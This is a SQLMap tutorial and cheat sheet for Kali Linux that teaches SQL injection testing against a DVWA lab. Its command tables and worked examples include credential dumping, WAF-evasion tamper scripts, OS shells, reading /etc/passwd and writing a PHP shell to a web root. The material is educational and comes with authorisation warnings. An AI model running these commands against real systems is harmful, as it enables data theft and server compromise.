SQLMap Commands: Cheat Sheet & How to Use SQLMap in Kali Linux
Every SQLMap command you need - target, enumeration, tamper scripts, WAF bypass, OS shell - with a worked DVWA example, troubleshooting and the developer fix.
Why You Need SQLMap
You suspect a web application is vulnerable to SQL injection — SQLMap automates the entire process of detection, exploitation, and data extraction. It handles the main injection techniques across MySQL, Oracle, PostgreSQL, MSSQL, SQLite, and more. It can enumerate databases, dump tables, and, on a vulnerable lab target, even gain OS-level access.
What Is SQLMap?
SQLMap is a free, open-source Python tool that automates SQL injection testing. You point it at a URL or a saved request, and it finds injectable parameters, identifies the database engine, enumerates databases and tables, and dumps data — taking over the database on vulnerable targets. It ships pre-installed on Kali Linux.
SQLMap automates six injection techniques — boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries and out-of-band — and tries them in turn until one works. Once a parameter is confirmed injectable, it fingerprints the backend (MySQL, PostgreSQL, Microsoft SQL Server, Oracle, SQLite and 40+ others), then walks down from databases to tables to columns to rows.
It does not replace understanding SQL injection. A negative result means SQLMap did not find an injectable parameter with the tests it ran — not that the code is safe. And it only ever runs against a target you own or have written permission to test: your own DVWA lab, a practice range, or an in-scope engagement target.
How to Use SQLMap in 4 Steps
Every SQLMap workflow follows the same four steps. Learn this sequence and the rest of the guide falls into place:
sqlmap -u "http://127.0.0.1/page?id=1" --batch--dbs-D <database> --tables, then -T <table> --columns-T <table> --dumpWork through these steps only against a target you own or have written permission to test — your own DVWA lab, bWAPP, or a deliberately vulnerable practice site. Running SQLMap against a live site you do not own is unauthorized testing, whatever your intent.
Prerequisites
How SQLMap Works
SQLMap works by injecting SQL payloads into parameter values and analyzing the application's response to determine if injection is possible. It uses several techniques:
Boolean-based blind: Injects conditions that return true or false and observes differences in the response.
Time-based blind: Uses time delay functions (SLEEP, WAITFOR) to infer information based on response timing.
Error-based: Causes deliberate database errors to extract information from error messages.
Union query: Uses UNION SQL statements to combine query results with attacker-controlled data.
Stacked queries: Executes multiple SQL statements in a single request, enabling more complex operations.
Installation
SQLMap comes pre-installed on Kali Linux. For other systems:
# Debian/Ubuntu (and Kali, if it is ever missing)
sudo apt update && sudo apt install sqlmap
# macOS with Homebrew
brew install sqlmap
# From source (always the latest version)
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python3 sqlmap.py -h
# Using pip
pip install sqlmap
Check it works before you start a test:
sqlmap --version
Updating SQLMap and Fixing "Version Is Outdated"
Kali's packaged SQLMap can lag behind the git repository, so the "your SQLMap version is outdated" warning does not always mean apt has a newer version. Check what you have first:
sqlmap --version
apt-cache policy sqlmap
command -v sqlmap
Update the Kali package:
sudo apt update && sudo apt install sqlmap
sqlmap --version
If you installed from source, update the checkout instead (the built-in --update only works on a source checkout, not on the apt package):
cd sqlmap
git pull --ff-only
python3 sqlmap.py --version
# or: python3 sqlmap.py --update
--purge clears SQLMap's local data directory — it does not update the program, and it deletes saved sessions, so preserve any evidence you need before using it.
Basic Usage
The simplest SQLMap command tests a URL parameter for injection:
sqlmap -u "http://127.0.0.1/page?id=1"
Essential Options
| Option | Description |
|---|---|
-u URL | Target URL with parameter |
--data=DATA | POST request body data |
-p PARAM | Specific parameter to test |
--level=LEVEL | Test intensity (1-5, default 1) |
--risk=RISK | Risk of payloads (1-3, default 1) |
--batch | Non-interactive mode (use defaults) |
--cookie=COOKIE | Session cookie |
--threads=THREADS | Concurrent threads |
SQLMap Commands: The Complete Reference
Every flag below is a real SQLMap option. The tables are grouped by job: pick the target, enumerate, then exploit. All examples use the DVWA lab on 127.0.0.1 — swap in your own lab URL. Run sqlmap -hh any time to see the full help.
Target
| Flag | What it does | Example |
|---|---|---|
-u URL, --url=URL | Target URL with a parameter to test | sqlmap -u "http://127.0.0.1/page?id=1" |
-d DIRECT | Direct database connection string | sqlmap -d "mysql://user:pass@127.0.0.1:3306/db" |
-l LOGFILE | Parse targets from a Burp or WebScarab proxy log | sqlmap -l burp.log |
-m BULKFILE | Test many targets listed in a file | sqlmap -m targets.txt --batch |
-r REQUESTFILE | Load a raw HTTP request from a file | sqlmap -r request.txt |
--method=METHOD | Force the HTTP method (GET, POST, PUT) | sqlmap -u "http://127.0.0.1/page" --method=POST --data="id=1" |
--data=DATA | POST body to send with the request | sqlmap -u "http://127.0.0.1/login" --data="username=admin&password=<redacted>" |
--cookie=COOKIE | Session cookie for authenticated pages | sqlmap -u "http://127.0.0.1/page?id=1" --cookie="PHPSESSID=abc123" |
--referer=URL | Referer header to send | sqlmap -u "http://127.0.0.1/page?id=1" --referer="http://127.0.0.1/" |
--user-agent=AGENT | Custom User-Agent header | sqlmap -u "http://127.0.0.1/page?id=1" --user-agent="Mozilla/5.0" |
--random-agent | Pick a random User-Agent per request | sqlmap -u "http://127.0.0.1/page?id=1" --random-agent |
-p TESTPARAMETER | Test only this parameter | sqlmap -u "http://127.0.0.1/page?id=1&name=x" -p id |
--skip=PARAMETER | Skip this parameter entirely | sqlmap -u "http://127.0.0.1/page?id=1" --skip="id" |
--dbms=DBMS | Force the backend type (mysql, mssql, pgsql, oracle, sqlite) | sqlmap -u "http://127.0.0.1/page?id=1" --dbms=mysql |
--os=OS | Force the backend operating system | sqlmap -u "http://127.0.0.1/page?id=1" --os=Linux |
Enumeration
| Flag | What it does | Example |
|---|---|---|
--dbs | List all databases | sqlmap -u "http://127.0.0.1/page?id=1" --dbs |
--tables | List tables in a database | sqlmap -u "http://127.0.0.1/page?id=1" -D shop_db --tables |
--columns | List columns in a table | sqlmap -u "http://127.0.0.1/page?id=1" -D shop_db -T users --columns |
--dump | Dump table or database contents | sqlmap -u "http://127.0.0.1/page?id=1" -D shop_db -T users --dump |
--count | Count the rows in a table | sqlmap -u "http://127.0.0.1/page?id=1" -D shop_db -T users --count |
--search | Search for column, table or database names | sqlmap -u "http://127.0.0.1/page?id=1" --search -T users |
--schema | Retrieve the database schema | sqlmap -u "http://127.0.0.1/page?id=1" --schema |
-D DB | Pick a database to work on | sqlmap -u "http://127.0.0.1/page?id=1" -D shop_db --tables |
-T TABLE | Pick a table to work on | sqlmap -u "http://127.0.0.1/page?id=1" -D shop_db -T users --columns |
-C COLUMN | Pick columns to dump | sqlmap -u "http://127.0.0.1/page?id=1" -D shop_db -T users -C user,password --dump |
--exclude-sysdbs | Skip system databases when enumerating | sqlmap -u "http://127.0.0.1/page?id=1" --dbs --exclude-sysdbs |
--current-db | Show the current database name | sqlmap -u "http://127.0.0.1/page?id=1" --current-db |
--current-user | Show the current database user | sqlmap -u "http://127.0.0.1/page?id=1" --current-user |
--users | List database users | sqlmap -u "http://127.0.0.1/page?id=1" --users |
--passwords | List user password hashes (and try to crack them) | sqlmap -u "http://127.0.0.1/page?id=1" --passwords |
--privileges | List user privileges | sqlmap -u "http://127.0.0.1/page?id=1" --privileges |
--is-dba | Check whether the current user is a database admin | sqlmap -u "http://127.0.0.1/page?id=1" --is-dba |
--banner | Retrieve the database banner (version string) | sqlmap -u "http://127.0.0.1/page?id=1" --banner |
--fingerprint | Fingerprint the backend database in detail | sqlmap -u "http://127.0.0.1/page?id=1" --fingerprint |
--hostname | Retrieve the database server hostname | sqlmap -u "http://127.0.0.1/page?id=1" --hostname |
--where=CONDITION | Dump only rows matching a WHERE condition | sqlmap -u "http://127.0.0.1/page?id=1" -D shop_db -T users --where="id=1" --dump |
--start=ROW, --stop=ROW | Dump only a range of rows | sqlmap -u "http://127.0.0.1/page?id=1" -D shop_db -T users --start=1 --stop=10 --dump |
Injection
| Flag | What it does | Example |
|---|---|---|
--level=LEVEL | Test intensity, 1–5 (default 1) | sqlmap -u "http://127.0.0.1/page?id=1" --level=3 |
--risk=RISK | Payload risk, 1–3 (default 1) | sqlmap -u "http://127.0.0.1/page?id=1" --risk=2 |
--technique=TECH | Techniques to use: B boolean, E error, U union, S stacked, T time, Q inline | sqlmap -u "http://127.0.0.1/page?id=1" --technique=BT |
--tamper=SCRIPT | Tamper script(s) to rewrite payloads | sqlmap -u "http://127.0.0.1/page?id=1" --tamper=space2comment |
--time-sec=SECONDS | Seconds to wait for time-based tests (default 5) | sqlmap -u "http://127.0.0.1/page?id=1" --time-sec=10 |
--union-cols=COLS | Range of columns to try for UNION tests | sqlmap -u "http://127.0.0.1/page?id=1" --union-cols=1-10 |
--union-char=CHAR | Character to use for UNION brute-forcing | sqlmap -u "http://127.0.0.1/page?id=1" --union-char=NULL |
--second-order=URL | URL to fetch for second-order injection results | sqlmap -u "http://127.0.0.1/page?id=1" --second-order="http://127.0.0.1/view" |
--chunked | Use HTTP chunked transfer encoding | sqlmap -u "http://127.0.0.1/page?id=1" --chunked |
--hpp | Use HTTP parameter pollution | sqlmap -u "http://127.0.0.1/page?id=1" --hpp |
--eval=CODE | Run Python code before each request | sqlmap -u "http://127.0.0.1/page?id=1" --eval="import time" |
--skip-static | Skip testing static (non-dynamic) parameters | sqlmap -u "http://127.0.0.1/page?id=1" --skip-static |
Detection and speed
| Flag | What it does | Example |
|---|---|---|
-v VERBOSE | Verbosity, 0–6 (default 1) | sqlmap -u "http://127.0.0.1/page?id=1" -v 3 |
--batch | Answer every prompt with the default (non-interactive) | sqlmap -u "http://127.0.0.1/page?id=1" --batch |
--threads=THREADS | Parallel requests (default 1; try 3–5 in a lab) | sqlmap -u "http://127.0.0.1/page?id=1" --threads=3 --batch |
--delay=SECONDS | Seconds to wait between requests | sqlmap -u "http://127.0.0.1/page?id=1" --delay=2 |
--timeout=SECONDS | Seconds to wait for a response before giving up | sqlmap -u "http://127.0.0.1/page?id=1" --timeout=30 |
--retries=RETRIES | Retries when a connection drops | sqlmap -u "http://127.0.0.1/page?id=1" --retries=3 |
--safe-url=URL | A safe URL to visit between requests (keeps a session alive) | sqlmap -u "http://127.0.0.1/page?id=1" --safe-url="http://127.0.0.1/" --safe-freq=10 |
--crawl=DEPTH | Crawl links from the starting URL and test them | sqlmap -u "http://127.0.0.1/" --crawl=1 --forms --batch |
--forms | Test the forms found while crawling | sqlmap -u "http://127.0.0.1/" --crawl=1 --forms --batch |
--keep-alive | Use persistent HTTP connections | sqlmap -u "http://127.0.0.1/page?id=1" --keep-alive |
--null-connection | Use null connections (no body) to speed up tests | sqlmap -u "http://127.0.0.1/page?id=1" --null-connection |
--predict-output | Predict common output values to cut requests | sqlmap -u "http://127.0.0.1/page?id=1" --predict-output |
--eta | Show an estimated time of arrival for long runs | sqlmap -u "http://127.0.0.1/page?id=1" --eta |
--flush-session | Discard answers saved from an earlier run | sqlmap -u "http://127.0.0.1/page?id=1" --flush-session |
--fresh-queries | Ignore previously stored query results | sqlmap -u "http://127.0.0.1/page?id=1" --fresh-queries |
Request and proxy
| Flag | What it does | Example |
|---|---|---|
--proxy=URL | Route requests through a proxy (Burp, for example) | sqlmap -u "http://127.0.0.1/page?id=1" --proxy="http://127.0.0.1:8080" |
--tor | Route requests through Tor | sqlmap -u "http://127.0.0.1/page?id=1" --tor |
--ignore-proxy | Ignore proxy settings from the environment | sqlmap -u "http://127.0.0.1/page?id=1" --ignore-proxy |
--auth-type=TYPE | HTTP auth type: Basic, Digest, Bearer, NTLM, PKI | sqlmap -u "http://127.0.0.1/page?id=1" --auth-type=Basic --auth-cred="user:pass" |
--csrf-token=NAME | Name of the anti-CSRF token parameter | sqlmap -u "http://127.0.0.1/page?id=1" --csrf-token=token |
--csrf-url=URL | URL to fetch a fresh anti-CSRF token from | sqlmap -u "http://127.0.0.1/page?id=1" --csrf-url="http://127.0.0.1/form" |
--force-ssl | Force HTTPS for the target | sqlmap -u "http://127.0.0.1/page?id=1" --force-ssl |
--header=HEADER | Extra HTTP header to send | sqlmap -u "http://127.0.0.1/page?id=1" --header="X-Custom: 1" |
--load-cookies=FILE | Load cookies from a Netscape-format file | sqlmap -u "http://127.0.0.1/page?id=1" --load-cookies=cookies.txt |
Post-exploitation
| Flag | What it does | Example |
|---|---|---|
--sql-query=QUERY | Run a custom SQL query | sqlmap -u "http://127.0.0.1/page?id=1" --sql-query="SELECT version()" |
--sql-shell | Interactive SQL prompt on the backend | sqlmap -u "http://127.0.0.1/page?id=1" --sql-shell |
--os-cmd=CMD | Run one operating-system command | sqlmap -u "http://127.0.0.1/page?id=1" --os-cmd="id" |
--os-shell | Interactive OS shell through the injection | sqlmap -u "http://127.0.0.1/page?id=1" --os-shell |
--os-pwn | Out-of-band shell / Meterpreter / VNC | sqlmap -u "http://127.0.0.1/page?id=1" --os-pwn |
--file-read=FILE | Read a file from the database server | sqlmap -u "http://127.0.0.1/page?id=1" --file-read="/etc/passwd" |
--file-write=FILE | Write a local file to the server | sqlmap -u "http://127.0.0.1/page?id=1" --file-write=shell.php --file-dest=/var/www/shell.php |
Output and maintenance
| Flag | What it does | Example |
|---|---|---|
--output-dir=DIR | Directory for SQLMap output and logs | sqlmap -u "http://127.0.0.1/page?id=1" --output-dir=./sqlmap-out |
-s SESSIONFILE | SQLite session file for this target | sqlmap -u "http://127.0.0.1/page?id=1" -s ./target.sqlite |
--save=FILE | Save the options used to an INI file | sqlmap -u "http://127.0.0.1/page?id=1" --save=./run.ini |
--update | Update SQLMap from its git repository | python3 sqlmap.py --update |
--purge | Clear SQLMap's local data directory | sqlmap --purge |
--wizard | Simple wizard interface for beginners | sqlmap --wizard |
-h, --help | Basic help | sqlmap -h |
-hh | Extended help | sqlmap -hh |
--version | Print the installed version | sqlmap --version |
SQLMap Level and Risk Explained
--level controls how many tests SQLMap runs and which inputs it tests. It ranges from 1 to 5 and defaults to 1:
| Level | What it tests |
|---|---|
| 1 | GET and POST parameters (the default) |
| 2 | Level 1, plus cookies |
| 3 | Level 2, plus User-Agent and Referer headers |
| 4 | Level 3, plus more headers and inputs |
| 5 | Everything above, tested extensively |
--risk controls how disruptive the payloads are. It ranges from 1 to 3 and defaults to 1:
| Risk | What it adds |
|---|---|
| 1 | Safe payloads only (the default) |
| 2 | Heavy time-based tests |
| 3 | OR-based tests and stacked queries that can change data |
| Situation | Use |
|---|---|
| First pass on any target | --level=1 --risk=1 (the defaults) |
| Default scan found nothing, lab target | --level=3 --risk=2 |
| Testing behind a login | --level=2 or higher, with --cookie |
| Live or production-adjacent target | Never above --risk=1, and only with written permission |
Higher level and risk mean more requests and a higher chance of breaking the target — a risk-3 payload can modify or delete data on a vulnerable application. In a lab that is the point; on anything else it is the reason you stay at the defaults.
SQLMap Tamper Scripts and WAF Bypass
A web application firewall (WAF) blocks requests whose payloads match its rules. A tamper script rewrites the payload before it is sent so the rule misses it — the injection itself is unchanged. Tamper scripts live in the sqlmap/tamper/ directory; apply one or more with --tamper, comma-separated:
sqlmap -u "http://127.0.0.1/page?id=1" --tamper=space2comment,randomcase --level=3 --batch
| Script | What it does | When to use it |
|---|---|---|
space2comment | Replaces spaces with /**/ comments | WAF blocks payloads containing spaces |
between | Replaces > with NOT BETWEEN 0 AND # | > is filtered |
randomcase | Randomizes letter case in keywords | Case-sensitive keyword filters |
charencode | URL-encodes the payload | Filters on plain keywords |
equaltolike | Replaces = with LIKE | = is filtered |
space2plus | Replaces spaces with + | Space filtering on some backends |
space2dash | Replaces spaces with -- comments and a newline | Space filtering on MySQL/MSSQL |
space2mssqlblank | Replaces spaces with MSSQL blank characters | MSSQL targets with space filters |
space2mysqlblank | Replaces spaces with MySQL blank characters | MySQL targets with space filters |
space2hash | Replaces spaces with # comments and a newline | MySQL targets with space filters |
apostrophemask | Replaces apostrophes with their UTF-8 full-width form | Apostrophe filtering |
base64encode | Base64-encodes the payload | Encoded-input handling |
versionedkeywords | Wraps keywords in MySQL versioned comments | Keyword filters on MySQL |
versionedmorekeywords | Versioned comments on more keywords | Keyword filters on MySQL |
modsecurityversioned | Versioned comments to evade ModSecurity rules | ModSecurity in front of MySQL |
modsecurityzeroversioned | Versioned comments with a zero version | ModSecurity in front of MySQL |
randomcomments | Inserts random /**/ comments inside keywords | Keyword filters |
charunicodeescape | Unicode-escapes non-encoded characters | Filters on plain ASCII payloads |
lowercase | Lowercases the payload | Case-sensitive filters |
uppercase | Uppercases the payload | Case-sensitive filters |
multiplespaces | Adds multiple spaces around keywords | Whitespace-normalizing filters |
nonrecursivereplacement | Replaces keywords so a single-pass filter misses them | Filters that strip keywords once |
htmlencode | HTML-encodes the payload | Filters on raw characters |
unmagicquotes | Replaces quotes with multi-byte combinations | Magic-quotes-style filtering |
xforwardedfor | Adds a fake X-Forwarded-For header | IP-based blocking |
Combine tamper scripts with --random-agent, --delay=2 and --time-sec to look less automated, and always verify a bypass by hand: a request that gets through the WAF is not proof of injection, and a request the WAF blocks is not proof the code is safe. Identify the WAF first with WAFW00F (see Keep Learning) so you pick scripts that match the filter in front of you.
Database Enumeration
List Available Databases
sqlmap -u "http://127.0.0.1/page?id=1" --dbs
List Tables in a Database
sqlmap -u "http://127.0.0.1/page?id=1" -D database_name --tables
List Columns in a Table
sqlmap -u "http://127.0.0.1/page?id=1" -D database_name -T table_name --columns
Dump Table Data
sqlmap -u "http://127.0.0.1/page?id=1" -D database_name -T users --dump
Worked Example: Testing DVWA Step by Step
DVWA (Damn Vulnerable Web Application) is the standard safe lab for this guide. Set its security level to Low, log in, and open the SQL Injection page. The commands below use placeholder addresses and a placeholder session cookie — replace them with your own lab values.
# Step 1: Detect — is the id parameter injectable?
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=your-session-id; security=low" --batch
# Step 2: Enumerate databases
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=your-session-id; security=low" --dbs --batch
# Step 3: List tables in the dvwa database
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=your-session-id; security=low" -D dvwa --tables --batch
# Step 4: Dump the users table to prove the impact (lab only)
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=your-session-id; security=low" -D dvwa -T users --dump --batch
If the login page blocks you, the cookie is the usual culprit: log in to DVWA again in your browser, copy the fresh PHPSESSID value, and re-run. For a logged-in form you cannot reach by URL alone, capture the request in Burp Suite, save it as request.txt, and test it with sqlmap -r request.txt --batch instead.
How to Read SQLMap Output
Sample output — your addresses, database type and values will differ:
[INFO] testing connection to the target URL
[INFO] testing if the target URL content is stable
[INFO] parameter 'id' is vulnerable. Do you want to keep testing the others? [y/N] N
[INFO] the back-end DBMS is MySQL
[INFO] fetching database names
available databases [2]:
[*] dvwa
[*] information_schema
Read it in this order: first, which parameter SQLMap calls vulnerable and which technique it used (boolean-based blind, error-based, UNION query, time-based blind, or stacked queries); second, the back-end database type, because that decides which payloads and functions work; third, the enumerated names themselves. Two warnings: a time-based blind result on a slow or unstable lab can be a false positive — confirm it manually before reporting it; and "all tested parameters do not appear to be injectable" means SQLMap found nothing at that level, not that the application is safe — raise --level, target a specific parameter with -p, or test a captured request with -r before concluding anything.
Advanced Techniques
POST Request Testing
sqlmap -u "http://127.0.0.1/login" --data="username=admin&password=test" --level=2
Using Custom Headers and Cookies
sqlmap -u "http://127.0.0.1/dashboard" --cookie="PHPSESSID=abc123" --headers="X-Forwarded-For: 127.0.0.1"
Request from File
sqlmap -r request.txt
Bypassing WAF
sqlmap -u "http://127.0.0.1/page?id=1" --tamper=space2comment --level=3
OS Command Execution
sqlmap -u "http://127.0.0.1/page?id=1" --os-shell
Real-World Example: Full Assessment
# Step 1: Initial scan
sqlmap -u "http://testapp.com/products?id=1" --batch
# Step 2: Enumerate databases
sqlmap -u "http://testapp.com/products?id=1" --dbs
# Step 3: Dump user credentials
sqlmap -u "http://testapp.com/products?id=1" -D testapp_db -T users --dump
# Step 4: Try OS shell
sqlmap -u "http://testapp.com/products?id=1" --os-shell
Practicing SQLMap on Hack The Box, TryHackMe and the OSCP Labs
Hack The Box Academy has a SQLMap Essentials module with a skills assessment that walks through the same workflow this guide teaches — detection, enumeration, dumping — against lab machines. TryHackMe has a guided SQLMAP room that covers the basic commands in a safe environment. Both are good places to practice the flags in the reference above without setting up DVWA yourself.
For OSCP preparation, the same commands apply, but the exam rules are different from lab rules: OffSec restricts automated exploitation tools on the exam, so check the current exam guide before assuming a tool permitted in a lab is permitted on exam day. Practice only in designated labs or within explicit written authorization — never on a live site you do not own.
SQLMap vs Havij vs Nmap
| Tool | What it does | SQLMap advantage or limit |
|---|---|---|
| SQLMap | Open-source command-line tool that automates SQL injection detection and database takeover | The dedicated SQLi tool: the deepest flag set, actively maintained, runs on Kali out of the box |
| Havij | Legacy Windows GUI tool for SQL injection | Easier to click through, but Windows-only, closed-source and unmaintained — no tamper scripts, no modern techniques |
| Nmap | Network scanner: finds hosts, open ports and services | A different job — it maps the target so you know what to test. Its http-sql-injection script only flags a possible issue; it does not enumerate or dump a database |
Use Nmap first to map the target, then SQLMap on the web application itself. An Nmap finding is not proof of SQL injection, and a SQLMap result is not a network inventory.
Common Mistakes
Using Default Level and Risk
Default level (1) only tests basic payloads. Many injections require level 3 or higher.
Not Providing Authentication Context
Modern applications require session cookies. Always provide authentication context.
Ignoring WAF Detection
Identify the WAF first with WAFW00F and use appropriate tamper scripts.
Best Practices
Start with --batch: Use --batch for automated testing.
Use --tamper scripts: WAFs are common. Loading appropriate tamper scripts increases success.
Save request files: Using -r request.txt is more reliable.
Verify manually: SQLMap results should be manually verified.
How Developers Fix SQL Injection
Finding the flaw is only half the job — the ranking guides all end here, and so should you. The fix is in the code, not in the firewall:
SQLMap Is Slow: Speed, Timeouts and Stability
SQLMap is slow by design: a full scan sends thousands of requests, and time-based checks wait seconds per payload. Before tuning, compare with normal response times — a slow application is not the same as a slow scan.
| Fix | What it does |
|---|---|
--threads=3 | Send up to 3 requests in parallel (default 1; try 3–5 in a lab) |
--batch | Skip every prompt so the scan runs unattended |
--technique=B | Test only one technique (B boolean, E error, U union, S stacked, T time) |
--level=1 --risk=1 | Quick first pass with the smallest test set |
--time-sec=2 | Shorter wait for time-based tests on a fast network (raise it on a slow one) |
--delay=1 | Space requests out when a rate limit throttles you |
--predict-output | Predict common outputs to cut the request count |
--keep-alive | Reuse HTTP connections instead of opening a new one per request |
--null-connection | Skip response bodies to speed up boolean tests |
| Error | What it means and what to do |
|---|---|
unable to connect to the target URL | The lab page is down, the URL is wrong, or a proxy blocks the request — open the page in a browser first, check --force-ssl, and check --proxy |
unable to retrieve the database names | Inconclusive, not a clean result — raise --level/--risk, try a tamper script, or test a captured request with -r |
host does not exist | DNS or a typo — in the lab use 127.0.0.1, not a hostname that does not resolve |
sqlmap very slow / sqlmap slow | See the fixes table above; if a WAF or rate limit is throttling you, add --delay and --random-agent instead of more threads |
| Time-based result looks like a false positive | Raise --time-sec and confirm the payload by hand — a slow response alone is not evidence of injection |
Troubleshooting SQLMap
--level=2 or --level=3, target the parameter explicitly with -p, add the session cookie, or test a captured request with -r request.txt.--batch to accept defaults, or --flush-session to discard answers saved from an earlier run against the same target.space2comment, between, randomcase or charencode, and add --random-agent and --delay=2 to look less automated.Keep Learning
Other tools in the same space: jSQL Injection (a Java GUI for SQL injection testing) and NoSQLMap (automated NoSQL injection testing).
SQLMap Commands Cheat Sheet
Keep this table beside you while you work. Every command below assumes you have already confirmed the parameter is injectable (see the worked example below).
| Task | Command |
|---|---|
| Test a URL parameter | sqlmap -u "http://127.0.0.1/page?id=1" --batch |
| List databases | sqlmap -u "http://127.0.0.1/page?id=1" --dbs |
| List tables in a database | sqlmap -u "http://127.0.0.1/page?id=1" -D shop_db --tables |
| List columns in a table | sqlmap -u "http://127.0.0.1/page?id=1" -D shop_db -T users --columns |
| Dump a table (lab only) | sqlmap -u "http://127.0.0.1/page?id=1" -D shop_db -T users --dump |
| Current database and user | sqlmap -u "http://127.0.0.1/page?id=1" --current-db --current-user |
| Test a POST form | sqlmap -u "http://127.0.0.1/login" --data="username=admin&password=<redacted>" --level=2 |
| Test a captured request | sqlmap -r request.txt --batch |
| Test only one parameter | sqlmap -u "http://127.0.0.1/page?id=1" -p id |
| Crawl and test forms | sqlmap -u "http://127.0.0.1/" --crawl=1 --forms --batch |
| Identify the WAF first | Run WAFW00F, then pick a tamper script — see the tamper section above |
| Bypass a WAF filter | sqlmap -u "http://127.0.0.1/page?id=1" --tamper=space2comment --level=3 |
| Ignore saved answers | sqlmap -u "http://127.0.0.1/page?id=1" --flush-session |
| Dump one column only | sqlmap -u "http://127.0.0.1/page?id=1" -D shop_db -T users -C user,password --dump |
| Run a custom query | sqlmap -u "http://127.0.0.1/page?id=1" --sql-query="SELECT version()" |
Flags worth memorising: -u is the target URL, -D picks a database, -T picks a table, -C picks a column, --level (1-5) controls how many injection points are tested, --risk (1-3) controls how aggressive the payloads are, and --batch answers every prompt with the default so a scan runs unattended. Start at the defaults and raise level and risk only when the default scan finds nothing.
Summary
SQLMap is the most powerful automated SQL injection testing tool available. It supports multiple injection techniques, all major database systems, and features like WAF bypass and OS shell access.
Knowledge Check
--level option control in SQLMap?-r option do?Answers: 1. --level (1-5) controls how many tests SQLMap runs and which inputs it tests. 2. Tamper scripts rewrite payloads (spaces to comments, changed case, encoded characters) so WAF pattern filters miss them. 3. Boolean-based reads true/false from response differences; time-based infers data from response delays. 4. Without cookies SQLMap only tests unauthenticated pages and misses injection points behind login. 5. -r loads a raw HTTP request from a file instead of building one from a URL. 6. Look for "parameter is vulnerable", then reproduce the payload by hand - a slow response alone is not proof. 7. Use parameterized queries (prepared statements) and prove the fix by re-running the scan and confirming the parameter is no longer injectable. 8. --level adds more tests and inputs; --risk adds more disruptive payload classes. 9. space2comment; use it when a WAF blocks payloads that contain spaces.
Frequently Asked Questions
Continue Learning
How to Use Gobuster: Beginner's Guide to Directory, DNS & VHost Enumeration in Kali Linux
Learn how to use Gobuster in Kali Linux — dir, DNS and vhost modes, wordlists, and a worked DVWA example, with a cheat sheet and troubleshooting.
Tools · BeginnerHow to Use FFUF: Beginner's Guide to Fast Web Fuzzing in Kali Linux
Learn how to use FFUF in Kali Linux — directory, subdomain and vhost fuzzing, parameter testing, filters and a worked DVWA example, with a cheat sheet.
Tools · BeginnerHow to Use Netcat: Beginner's Guide to the nc Command in Kali Linux
How to use Netcat (nc) in Kali Linux: test ports, run a listener, grab banners, transfer files, and catch a reverse shell — worked example and cheat sheet.
Tools · BeginnerHow to Use Dirb: Beginner's Guide to Directory Brute-Forcing in Kali Linux
Learn how to use Dirb in Kali Linux: run your first directory scan, pick the right wordlist, and read the results — with a worked example and cheat sheet.
Related Security Tools
SQLMap
SQLMap is an open-source penetration testing tool that automates SQL injection detection and exploitation. It supports six SQL injection techniques (boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries, and out-of-band) and over 30 database backends including MySQL, Oracle, PostgreSQL, Microsoft SQL Server, and many more.
Vulnerability AnalysisNikto
Learn how to use Nikto, an open-source web server scanner written in Perl and pre-installed on Kali Linux, to audit servers you own or have written permission to test. Its 6700+ checks for potentially dangerous files and programs, plus tests for outdated software and misconfigurations, highlight issues that need verification.
Web ApplicationBurp Suite
Burp Suite is the industry-standard web application security testing platform from PortSwigger, free as Community Edition on Kali Linux. Learn how to use Burp Suite: install it, route your browser through its proxy, intercept your first request, and test it with Repeater and Intruder.
Stress Testinghping3
hping3 is a command-line network tool for crafting, sending, and analyzing custom TCP/IP packets. Built for firewall testing, port scanning, OS fingerprinting, path MTU discovery, and authorized stress testing, it gives you control over nearly every field of the TCP, UDP, ICMP, and raw IP headers — the flags, sequence numbers, window size, TTL, fragmentation, and payload — and then shows you exactly how the target answers. Where Nmap runs predefined scan types, hping3 is the packet workbench you reach for when the question is "what does the firewall do with THIS exact packet?" It runs on raw sockets (so it needs root), supports scan and listen modes, and includes a Tcl scripting engine for automating protocol experiments in a lab.